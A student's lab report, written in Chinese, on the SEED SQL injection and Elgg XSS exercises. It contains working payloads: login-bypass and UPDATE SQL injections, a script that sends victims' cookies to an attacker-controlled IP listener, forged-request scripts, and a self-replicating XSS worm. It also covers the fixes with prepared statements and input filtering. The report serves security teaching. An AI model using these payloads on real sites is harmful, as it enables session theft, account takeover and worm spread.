20252811 2025-2026-2 《网络攻防实践》第十周作业
1. 实践内容
一、SEED SQL注入攻击与防御实验
本次实验基于一个预先搭建的员工管理Web应用系统,托管于 www.SEEDLabSQLInjection.com。该系统包含管理员和普通员工两种角色。实验核心任务如下:
- 数据库与SQL基础:连接
Users数据库,熟悉credential表结构及基本SQL查询操作。 - SELECT型注入攻击:利用登录接口的SQL注入漏洞,在未知密码的情况下绕过身份验证。
- UPDATE型注入攻击:利用个人资料修改接口的漏洞,越权篡改其他用户。
- SQL注入防御:通过代码审计定位漏洞,并采用预编译等技术手段修复上述注入缺陷。
二、SEED XSS跨站脚本攻击实验
本实验在预配置的Ubuntu虚拟机中部署了Elgg社交网络平台,旨在展示存储型XSS漏洞的危害及蠕虫传播机制。具体任务包括:
- 基础XSS触发:在个人资料中注入JS代码,实现弹窗警告。
- Cookie窃取与展示:通过XSS读取并弹窗显示当前用户的Cookie,或将Cookie外带至攻击者服务器。
- 自动化操作伪造:编写JS脚本,在受害者访问页面时,自动将其加为好友或篡改其个人资料。
- XSS蠕虫编写:实现具备自我复制和跨用户传播能力的XSS蠕虫。
- XSS防御机制:启用Elgg的安全插件,验证输入过滤对XSS的防御效果。
2. 实践过程
2.1 实验环境准备
本次实验依托 SEEDUbuntu 虚拟机开展。由于早期版本的 Seed Ubuntu 9 存在组件老化及数据库缺失问题,我最终选用了 Seed Ubuntu 16.04 版本。根据实验考核规范,需将系统主机名更改为本人姓名拼音。
修改系统主机名配置文件:
sudo vim /etc/hostname
将内容替换为dyf
同步更新 hosts 映射文件:
sudo vim /etc/hosts
将 127.0.1.1 对应的主机名修改为 dyf。
2.2 SEED SQL 注入攻击与防御实验
2.2.1 熟悉 SQL 语句
首先通过命令行接入 MySQL 数据库:
mysql -u root -p
查看系统现有的数据库列表:
show databases;
切换至目标数据库并查看数据表:
use Users;
show tables;
检索 credential 表中的全量员工数据:
select * from credential;
针对特定用户(如 Boby)进行条件查询:
select * from credential where Name = 'Boby';
2.2.2 对 SELECT 语句的 SQL 注入攻击
本环节旨在绕过登录认证。访问 www.SEEDLabSQLInjection.com,在登录框随意输入数据并按 F12 抓取网络请求。
分析请求可知,后端处理逻辑位于 unsafe_home.php。查看其源码:
cd /var/www/SQLInjection/
cat unsafe_home.php
源码显示,后端直接将用户输入拼接到 SQL 语句中,未做任何转义或参数化绑定,导致典型的字符型注入漏洞。
在用户名输入框构造 Payload:
Admin'#
密码框随意输入(如 123)。
注入原理剖析:单引号 ' 闭合了原有的字符串边界,# 将后续的密码校验逻辑注释掉。最终后端执行的 SQL 变为仅校验用户名为 Admin,从而成功绕过密码验证。
2.2.3 对 UPDATE 语句的 SQL 注入攻击
本环节旨在利用资料编辑接口越权修改数据。进入普通员工的资料修改页面,修改任意字段并抓包分析。
后端处理文件为 unsafe_edit_backend.php,查看其核心 UPDATE 逻辑:
cd /var/www/SQLInjection/
cat unsafe_edit_backend.php
由于 nickname 等字段直接参与 SQL 拼接,我们可以在 nickname 输入框注入恶意片段:
',Salary='20252811' where name='Admin'#
提交保存后,返回数据库验证 Admin 用户的薪资是否被篡改:
结果表明,攻击者可通过构造闭合语句,改变 UPDATE 的作用域,实现越权数据篡改。
2.2.4 SQL 对抗:修复 SQL 注入攻击漏洞
漏洞的根源在于“数据与代码未分离”。最有效的防御方案是采用预编译语句。
修复资料修改接口的 UPDATE 注入。修改 unsafe_edit_backend.php:
sudo vim /var/www/SQLInjection/unsafe_edit_backend.php
将代码中的 UPDATE 逻辑替换为:
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=?;");
if (!$stmt) {
die("Prepare failed: " . $conn->error);
}
$stmt->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
}else{
// if passowrd field is empty.
$stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?;");
if (!$stmt) {
die("Prepare failed: " . $conn->error);
}
$stmt->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
}
if (!$stmt->execute()) {
die("Execute failed: " . $stmt->error);
}
$stmt->close();
$conn->close();
header("Location: unsafe_home.php");
exit();
下图为修改前的代码
下图为修改后的代码
防御验证:
再次尝试在 nickname栏修改,数据库中的薪资数据保持不变,昵称正常显示。
接着登录unsafe_home.php并修改代码:
sudo vim /var/www/SQLInjection/unsafe_home.php
将 unsafe_home.php 中的查询逻辑重构为预编译模式:
// Sql query to authenticate the user
$stmt = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name=? and Password=?;");
if (!$stmt) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die('There was an error preparing the query [' . $conn->error . ']\n');
echo "</div>";
}
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$result = $stmt->get_result();
修改后如下图所示
修改之后可以看出再用原来的Admin'#账号进不去网站了,修复成功
2.3 SEED XSS 跨站脚本攻击实验 Elgg
2.3.1 发布恶意消息,显示警报窗口
访问 http://www.xsslabelgg.com,使用 Alice 账号,密码seedalice登录。
进入个人主页,点击 Edit profile,在 Brief description 字段注入基础 JS 代码:
<script>alert("20252811dyf");</script>
保存后页面立即弹出警告框,证实 Elgg 默认配置下存在存储型 XSS 漏洞。
2.3.2 弹窗显示 Cookie 信息
将注入代码修改为读取当前会话 Cookie:
<script>alert(document.cookie);</script>
刷新页面后,弹窗展示了包含 Elgg 会话标识的 Cookie 字符串。这表明 XSS 可直接窃取客户端敏感凭证。
2.3.3 窃取受害者的 Cookies
在攻击机终端开启 NC 监听(端口可自定义,此处使用 5555):
nc -l 5555 -v
在 Alice 的资料中植入外带 Cookie 的 Payload:
<script>
document.write('<img src=http://192.168.200.18:5555?c=' + escape(document.cookie) + '>');
</script>
切换至 Boby 账号(密码:seedboby)并访问 Alice 的主页。
此时回到攻击机终端,NC 成功接收到了 Boby 的 Cookie 数据。
2.3.4 成为受害者的朋友
利用 XSS 伪造 Ajax 请求,实现自动添加好友。首先手动添加一次好友并抓包,获取目标接口及参数(如 friend=45)。
在 Alice 的 About me 中植入自动加好友脚本:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
使用 Boby 访问 Alice 主页后,查看 Boby 的好友列表,发现 Alice 已被自动添加为好友。
2.3.5 修改受害者的信息
构造 POST 请求,在受害者访问页面时静默篡改其个人资料。在 Alice 的 About me 中注入以下代码:
<script type="text/javascript">
window.onload = function(){
var userName = elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var content = token + ts + "&name=" + userName + "&description=<p>Hacked by 20252811dyf</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid = 44; // Alice的GUID
if(elgg.session.user.guid != aliceGuid){
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Boby 访问该页面后,其个人简介被强制修改为 "Hacked by 20252811dyf"。
2.3.6 编写 XSS 蠕虫
为了实现跨用户传播,需让脚本在修改受害者资料时,将自身代码也写入受害者的资料中。在 Alice 页面注入蠕虫代码:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>20252811dyf"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Boby 访问后,其资料不仅被修改,且源码中已包含完整的蠕虫脚本。当其他用户访问 Boby 时,感染将继续扩散。
2.3.7 对抗 XSS 攻击
使用管理员账号(admin / seedelgg)登录 Elgg 后台 www.xsslabelgg.com/admin。
进入 Plugins 菜单,找到 HTMLawed 插件并将其状态切换为 Deactivate(即启用过滤功能)。
再次使用 Alice 账号在资料中输入 <script>alert("20252811dyf");</script>,保存后访问页面,弹窗未再出现,恶意标签被成功清洗。
3. 学习中遇到的问题及解决
问题1:虚拟机基础镜像版本不一致导致目标数据库缺失
问题描述:实验初期使用了 Seed Ubuntu 20.04 镜像,但在执行 show databases; 时,未发现实验指导书要求的 Users 数据库,导致后续 SQL 操作无法开展。
解决方案:经排查,旧版镜像的数据库初始化脚本与新版实验指导书不匹配。我果断重新部署了 Seed Ubuntu 16.04 版本。更换环境后,Users 数据库及 credential 表均正常存在。
问题2:PHP mysqli 预编译语法使用不当引发错误
问题描述:在修复 SELECT 注入时,我仅将 $conn->query($sql) 替换为 $stmt = $conn->prepare(...),但后续仍尝试将 $stmt 对象传入 query() 方法,导致 PHP 抛出 Fatal Error,页面白屏。
解决方案:查阅 PHP 官方文档后得知,prepare() 返回的是 mysqli_stmt 对象,必须使用 $stmt->bind_param() 绑定变量,并通过 $stmt->execute() 和 $stmt->get_result() 来获取结果集。修正执行流后,系统恢复正常且成功拦截了注入。
4. 实践总结
通过本次综合性 Web 安全实践,我对 SQL 注入与 XSS 跨站脚本攻击的底层逻辑及防御体系有了深刻的认知,主要体现在以下三个维度:
以往对 SQL 注入的理解仅停留在“拼接漏洞”的概念上。通过本次实验,我亲手构造了闭合单引号、利用注释符截断逻辑的 Payload,直观地看到了用户输入如何“越俎代庖”成为 SQL 指令的一部分。而在 XSS 实验中,从简单的 Alert 弹窗到窃取 Cookie,再到利用 Ajax 伪造 CSRF 请求修改资料,我深刻认识到 XSS 的本质是前端代码注入与受害者身份借用。特别是 XSS 蠕虫的自我复制机制,让我领略了存储型 XSS 在社交网络中引发链式反应的巨大破坏力。
在 SQL 对抗环节,我深刻体会到“数据与代码分离”是防御注入的黄金法则。预编译语句通过在数据库引擎层面预先解析 SQL 结构,从根本上免疫了基于语义篡改的注入攻击。同时,修复 UPDATE 分支遗漏的问题给我敲响了警钟:安全修复绝不是简单的“打补丁”,而是需要对业务代码的所有控制流进行全覆盖审计,任何一条未被参数化的分支都可能成为黑客的突破口。
在 XSS 防御环节,启用 HTMLawed 插件通过黑白名单过滤危险标签,确实有效阻断了脚本执行。但这让我意识到,单一的防御手段往往存在被绕过的风险。在实际的企业级开发中,应当构建纵深防御体系:在输入端进行严格的数据校验与过滤,在输出端实施上下文相关的 HTML 实体编码,同时配合 HttpOnly 保护 Cookie、实施严格的 CSP以及 CSRF Token 校验。只有将安全理念融入软件开发生命周期的各个环节,才能真正打造出具备韧性的 Web 应用。

浙公网安备 33010602011771号